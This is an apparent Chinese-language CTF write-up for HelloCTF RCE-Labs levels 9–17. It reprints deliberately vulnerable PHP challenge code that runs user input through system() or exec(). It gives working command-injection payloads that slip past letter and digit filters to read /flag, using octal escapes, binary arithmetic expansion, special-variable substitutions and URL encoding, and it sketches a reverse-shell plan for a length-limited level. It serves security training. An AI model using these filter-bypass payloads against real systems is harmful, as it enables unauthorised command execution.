| 32 |
| |
|
| 47 |
|
|
| 102 |
|
|
| 108 |
|
|
| 103 |
|
组合结果
将上述八进制转义拼接后,cat /flag 的八进制转义字符串为:
$'\143\141\164\40\57\146\154\141\147'
10.2.1.1. 应用场景
在CTF命令注入中,若目标系统过滤字母和部分符号,可通过该八进制字符串绕过限制,直接执行命令(如 cat /flag)获取flag。例如:
/?cmd=$'\143\141\164\40\57\146\154\141\147'
提示:八进制转义需在支持Shell语法的环境(如Bash)中使用,且需确保空格未被过滤。若空格被禁用,可替换为 <(如 $'\143\141\164'<$'\57\146\154\141\147')。
10.2.2. 最终结果
?cmd=$'\143\141\164' $'\57\146\154\141\147'
10.3. ASCII可显示字符
| 二进制 | 十进制 | 十六进制 | 图形 |
| 0010 0000 | 32 | 20 | (空格)(␠) |
| 0010 0001 | 33 | 21 | ! |
| 0010 0010 | 34 | 22 | " |
| 0010 0011 | 35 | 23 | # |
| 0010 0100 | 36 | 24 | $ |
| 0010 0101 | 37 | 25 | % |
| 0010 0110 | 38 | 26 | & |
| 0010 0111 | 39 | 27 | ' |
| 0010 1000 | 40 | 28 | ( |
| 0010 1001 | 41 | 29 | ) |
| 0010 1010 | 42 | 2A | * |
| 0010 1011 | 43 | 2B | + |
| 0010 1100 | 44 | 2C | , |
| 0010 1101 | 45 | 2D | - |
| 0010 1110 | 46 | 2E | . |
| 0010 1111 | 47 | 2F | / |
| 0011 0000 | 48 | 30 | 0 |
| 0011 0001 | 49 | 31 | 1 |
| 0011 0010 | 50 | 32 | 2 |
| 0011 0011 | 51 | 33 | 3 |
| 0011 0100 | 52 | 34 | 4 |
| 0011 0101 | 53 | 35 | 5 |
| 0011 0110 | 54 | 36 | 6 |
| 0011 0111 | 55 | 37 | 7 |
| 0011 1000 | 56 | 38 | 8 |
| 0011 1001 | 57 | 39 | 9 |
| 0011 1010 | 58 | 3A | : |
| 0011 1011 | 59 | 3B | ; |
| 0011 1100 | 60 | 3C | < |
| 0011 1101 | 61 | 3D | = |
| 0011 1110 | 62 | 3E | > |
| 0011 1111 | 63 | 3F | ? |
| 0100 0000 | 64 | 40 | @ |
| 0100 0001 | 65 | 41 | A |
| 0100 0010 | 66 | 42 | B |
| 0100 0011 | 67 | 43 | C |
| 0100 0100 | 68 | 44 | D |
| 0100 0101 | 69 | 45 | E |
| 0100 0110 | 70 | 46 | F |
| 0100 0111 | 71 | 47 | G |
| 0100 1000 | 72 | 48 | H |
| 0100 1001 | 73 | 49 | I |
| 0100 1010 | 74 | 4A | J |
| 0100 1011 | 75 | 4B | K |
| 0100 1100 | 76 | 4C | L |
| 0100 1101 | 77 | 4D | M |
| 0100 1110 | 78 | 4E | N |
| 0100 1111 | 79 | 4F | O |
| 0101 0000 | 80 | 50 | P |
| 0101 0001 | 81 | 51 | Q |
| 0101 0010 | 82 | 52 | R |
| 0101 0011 | 83 | 53 | S |
| 0101 0100 | 84 | 54 | T |
| 0101 0101 | 85 | 55 | U |
| 0101 0110 | 86 | 56 | V |
| 0101 0111 | 87 | 57 | W |
| 0101 1000 | 88 | 58 | X |
| 0101 1001 | 89 | 59 | Y |
| 0101 1010 | 90 | 5A | Z |
| 0101 1011 | 91 | 5B | [ |
| 0101 1100 | 92 | 5C | \ |
| 0101 1101 | 93 | 5D | ] |
| 0101 1110 | 94 | 5E | ^ |
| 0101 1111 | 95 | 5F | _ |
| 0110 0000 | 96 | 60 | ` |
| 0110 0001 | 97 | 61 | a |
| 0110 0010 | 98 | 62 | b |
| 0110 0011 | 99 | 63 | c |
| 0110 0100 | 100 | 64 | d |
| 0110 0101 | 101 | 65 | e |
| 0110 0110 | 102 | 66 | f |
| 0110 0111 | 103 | 67 | g |
| 0110 1000 | 104 | 68 | h |
| 0110 1001 | 105 | 69 | i |
| 0110 1010 | 106 | 6A | j |
| 0110 1011 | 107 | 6B | k |
| 0110 1100 | 108 | 6C | l |
| 0110 1101 | 109 | 6D | m |
| 0110 1110 | 110 | 6E | n |
| 0110 1111 | 111 | 6F | o |
| 0111 0000 | 112 | 70 | p |
| 0111 0001 | 113 | 71 | q |
| 0111 0010 | 114 | 72 | r |
| 0111 0011 | 115 | 73 | s |
| 0111 0100 | 116 | 74 | t |
| 0111 0101 | 117 | 75 | u |
| 0111 0110 | 118 | 76 | v |
| 0111 0111 | 119 | 77 | w |
| 0111 1000 | 120 | 78 | x |
| 0111 1001 | 121 | 79 | y |
| 0111 1010 | 122 | 7A | z |
| 0111 1011 | 123 | 7B | { |
| 0111 1100 | 124 | 7C | | |
| 0111 1101 | 125 | 7D | } |
| 0111 1110 | 126 | 7E | ~ |
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
11. level10【二进制整数替换,bash环境】
11.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
11.2. 尝试与解题
11.2.1. 分析(思路简单)
观察上述黑名单,
允许使用 0 1 $、(、)、#、=、{、}、!、~,:
payload就是要$((2#binary)) 解析二进制数据
?cmd=cat /flag
弄成二进制
11.2.2. 这个转义有些复杂
我试了几下都弄不出来,
用的ai转义,后面去搜索wp的时候,看到大佬用这个

上一题也可以直接用这个在线的转换,非常的好用!!!!
注意:转换成二进制与八进制不同,
八进制中间要有空格隔开,二进制中间反而不用
这样的话,上面的payload是可以用的,但是还要考虑#这个符号的特性,在URL中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。
锚点的主要功能是让浏览器快速定位到页面内的某个部分
所以可以直接转换成url编码格式来进行命令执行,转换后payload如下
URL在线编码转换工具 - 编码转换工具 - W3Cschool
部分编码
$0%3C%3C%3C$0%5C%3C%5C%3C%5C%3C%5C$%5C'%5C%5C$(($((1%3C%3C1))#10001111))%5C%5C$(($((1%3C%3C1))#10001101))%5C%5C$(($((1%3C%3C1))#10100100))%5C%5C$(($((1%3C%3C1))#101000))%5C%5C$(($((1%3C%3C1))#111001))%5C%5C$(($((1%3C%3C1))#10010010))%5C%5C$(($((1%3C%3C1))#10011010))%5C%5C$(($((1%3C%3C1))#10001101))%5C%5C$(($((1%3C%3C1))#10010011))%5C'
全部编码【可】
%24%30%3c%3c%3c%24%30%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%31%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%31%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%31%31%30%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%31%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%31%29%29%5c%27
11.2.3. 详细一点点的介绍一下【手搓一下】
$((2#binary)) 可以把二进制转为十进制, 但是还是把它拆分开来分析一下
- 首先是
$((...))
-
- 在
bash中$((...))是 算术扩展(Arithmetic Expansion) 的语法
- 在
echo $((3 + 5)) # 输出 8
echo $((10 / 2)) # 输出 5
a=10
b=5
echo $((a + b)) # 输出 15
- 而
2#binary是 进制表示法(Base Notation), 表示把后面的二进制串, 转化为十进制
-
- 同理
#前面的2也可以是8,16,36, 如下
- 同理
echo $((8#72)) # 输出 58
echo $((16#1A)) # 输出 26
echo $((36#Z)) # 输出 35
熟知 $((2#binary)) 的原理, 是否会发现, 这里不是有个 2 吗, 怎么绕过 WAF 呢
- 其实只要在嵌套一层
$((...))就可以 - 可以只使用
1和<通过左移运算得到2
-
- 如
$((1<<1)) - 所以
$((2#binary))可以写为$(($((1<<1))#binaryStr))
- 如
- 然后把
$(($((1<<1))#binaryStr))套入到八进制转义中, 这里拿ls举例
注意的是, 这里的 $((2#binary)) 不是直接转为八进制数, 而是转为十进制的数, 而这个十进制数当做八进制使用, 转换步骤详细如下
ls 转为八进制 -> \154\163
使用八进制转义 -> $'\154\163'
使用二进制替换 154 和 163, 这两个数现在当做十进制
154 -> $((2#10011010)) -> $(($((1<<1))#10011010))
163 -> $((2#10100011)) -> $(($((1<<1))#10100011))
于是 $'\154\163' -> $'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
但是使用 $'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))' 作为 Payload 时, 似乎并不能执行结果
这里就要先学习一下 Bash 的解析这些 Expansion 逻辑
Shell Expansions (Bash Reference Manual)
11.2.3.1. bash Expansion
- 首先 Bash Expansion 一共有以下几种(执行顺序由上到下)
Brace Expansion(花括号扩展)
Tilde Expansion(波浪号扩展)
Shell Parameter Expansion(参数和变量扩展)
Arithmetic Expansion(算术扩展)
Command Substitution(命令替换)
Process Substitution(进程替换)
Word Splitting(单词分割)
Filename Expansion(文件名扩展)
Quote Removal(引用移除)
- 而这里会用到的扩展如下
$(()) -> 算术扩展
$'...' -> ANSI C 风格字符串(即允许使用\进行转义)其实也是通过 参数和变量扩展
-> 命令替换, 即将命令的输出结果再次作为命令
而在我们上述命令中, 我们希望算术扩展($(()))在参数和变量扩展($'...')之前执行, 但是参数和变量扩展会在算术扩展之前解析
- 固然无法正常执行命令
- 所以这里需要使用 Here String语法, 对将命令多次传递给 bash, 并通过转义达到对应效果(
Bash的特殊变量
| 变量 | 含义 | 示例输出 |
|
| 传递给脚本或函数的参数个数 | 0(参数为空时) |
|
| 上一个命令的退出状态 | 0(正常退出)或 1(异常退出) |
|
| 上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
|
| 当前脚本或 shell 的名字 | bash 或脚本名 |
|
~ | 传递给脚本或函数的第1到第9个参数 | 第1到第9个参数值 |
|
| 传递给脚本或函数的所有参数(列表形式) | 所有参数值 |
|
| 传递给脚本或函数的所有参数(字符串形式) | 所有参数作为单个字符串 |
|
| 当前 shell 的进程 ID (PID) | 进程 ID 值 |
|
| 上一个后台运行的进程的 PID | 后台进程的 PID |
|
| 当前 shell 的选项标志 | hB(表示 shell 选项标志) |
而这里需要使用 $0 来充当 bash, 从而调用 bash 命令, 得以绕过WAF
- 有一点特别注意, 如果你是使用
SSH连接进行尝试使用$0来实验本文绕过WAF的命令
11.2.3.2. Here String语法
是 Bash 中的一种重定向方式,用于将字符串作为标准输入传递给命令。

- 所以,将前面
$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
填补之后$0<<<$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
- 这里想到了把
' '进行转义, 即$\'...\'
$0<<<$\'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))\'
- 出问题
echo $((1+1))
输出: 2
echo \$((1+1))
输出: sh: syntax error near unexpected token `('
echo (())
输出: sh: syntax error near unexpected token `('
echo $
输出: $
echo \$
输出: $
$
输出: sh: $: command not found
\与$被作为一体了, 即$不在是一个有特殊作用的字符, 而是被转义为纯字符$, 也就不会作用于后面的(())- 而
(())在bash中被检测为语法错误 \替换为\\
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
手搓难度还是很大,,
[Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)_rce-labs-level10-优快云博客
12. level11【整数1的特殊变量替换】
12.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>
12.2. 尝试与解题
12.2.1. 分析
相较于上一题,1也被过滤了,
看上面教述的内容,可以将1变为${##} ,仍用二进制解析的方法
注意,是post请求了
12.2.2. 解决

$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

13. level12【整数0的特殊变量替换】
13.1. 题目

13.2. 尝试与解题
注意,这里使用的是flask的环境
"WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
根据上述的黑名单,利用前面的转换

${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'

14. level13【 $(()) + 取反】
14.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
14.2. 尝试与解题
还是用上面的在线payload,上面几题就相当于把所有形式的payload试了一遍
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
传参上去的到时候发现无回显,可能是&&造成的原因。。。
那么就将这编码一下
%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27
就可以得到结果了。。
15. level14【字符长度限制,利用通配符】
15.1. 题目

15.2. 尝试与解题
看着有点摸不着头脑,看网上的大佬的意思是有点问题,没给参数。

看上面的代码是,限制这个长度不可以大于等于8
?1=cat /flag多了。。
?1=cat /f*

他还会将字符数表示出来,方便你知道
16. level15【长度限制_5字符,】【不会】
16.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
16.2. 尝试与解题
16.2.1. 源码分析
这题和上一题有点像,但是这题的长度限制变成了5,
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
-
$_SERVER['REMOTE_ADDR']);获取用户IP- 然后根据用户IP, 创建一个字符串
@mkdir($sandbox);
-
- 根据上文的 $sandbox,创建一个文件夹
@chdir($sandbox);
-
- 进入该文件夹
- 这里是为了保证用户在空文件夹下运行命令, 并且每个用户独立
- 然后就是判断 GET 请求是否传入 cmd 参数, 如果有的话就是否小于等于5个字符
-
- 如果是的话, 就使用 exec 执行命令
- 而如果 GET 请求传入 reset 参数就执行
'/bin/rm -rf ' . $sandbox, 删除用户文件夹
16.2.2. 解题分析
16.2.2.1. 首先,明确要从哪里入手
首先要注意的是, 这里的执行命令函数不再是system(), 而是 exec()
这个函数可以执行系统命令, 但是并不会把命令结果直接输出
所以这个时候就要想能不能写入木马, 或者执行命令反弹Shell
在写入木马的话, 我们终端是处于一个 “沙盒” 的文件夹中, 想要通过网页服务访问到里面的木马, 似乎有点难
所以本题还是想办法 反弹Shell
16.2.2.2. 在反弹Shell之前, 来学学一些 Linux 终端的小技巧
>创建文件
-
>a创建一个名为 a 的文件
sh-5.1# >a
sh-5.1# ls
a exp.php index.php
ls -t根据文件最后的修改时间排序, 越晚修改的越前面
如果没有 -t 参数的话, 会默认按照字典顺序排列
还有这些排序方式
ls -S 按文件大小排序
ls -r 反转排序(从大到小)
ls -v 按自然顺序排序(file1 file2 file10 而不是 file1 file10 file2)
ls --sort=extension 按扩展名排序
sh a把 文件a中的内容当做命令运行\可以用于拼接命令
l\s = ls
还可以在终端中这样尝试(即在回车前打一个\, 就可以在下一行接着输入命令衔接上一行)
sh-5.1# l\
> s\
> \
> -\
> t
exp.php index.php
sh-5.1#
>>可以使前面文本追加到后面的文件中
sh-5.1# echo "text" >> a
sh-5.1# cat a
text
-
-
- 而改为
>
- 而改为
-
-
-
-
- 则是覆盖
-
-
16.2.2.3. 现在是否有想法可以反弹Shell
- 首先
sh a可以执行命令, 那是否可以写入命令(字符)到文件中?
用>? 没错
直接 ?>a? 那当然不行, 必须要有echo等命令及引号的配合才可以, 那字数必然超过了
其实命令的结果也可以作为 > 前面的参数, 写入文件中
比如 ip a>a, 就可以把ip a 的结果写入文件a中
那ls的结果可以吗? 当然可以
ls的结果是什么? 文件名
ls 的结果写入文件后是什么? 试试?
sh-5.1# >a
sh-5.1# >b
sh-5.1# >c
sh-5.1# ls>d
sh-5.1# cat d
a
b
c
d
-
- 是
文件名按照字典顺序一行一个写入的结果(刚开始并没有d文件, 但是ls>d命令执行时会先创建好d, 在执行ls>d)
- 是
- 能否让文件名的顺序更加可控一点? 用
ls加上-t参数, 写入顺序可控 - 让文件名跨行拼接成命令? 文件名后面加
\
16.2.2.4. 这下有思路了吧
准备好反弹Shell命令, 和ls -t>a命令
拆分反弹Shell命令, 设计好顺序,
- 使用>创建各个分块命名的文件
- 然后执行
ls -t>a 命令
不过 ls -t>a 也太长了, 也需要按照上述步骤写入另一个文件?
上个步骤也需要 ls -t>? (?代指其他字符)
套娃了 🙃
所以需要其他办法, 用默认的字典序?
[Hello-CTF]RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)_ctf 5字符rce-优快云博客
太难了!!!我做不到啊啊啊啊,大家要是想做去看这位大佬的内容 ,我先撤了
17. level16【四个字符】【不会】
跟15题类似,也看大佬的吧
[Hello-CTF]RCE-Labs超详细WP-Level16(4字符限制RCE)_4字符rce-优快云博客
18. level17
18.1. 题目
<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
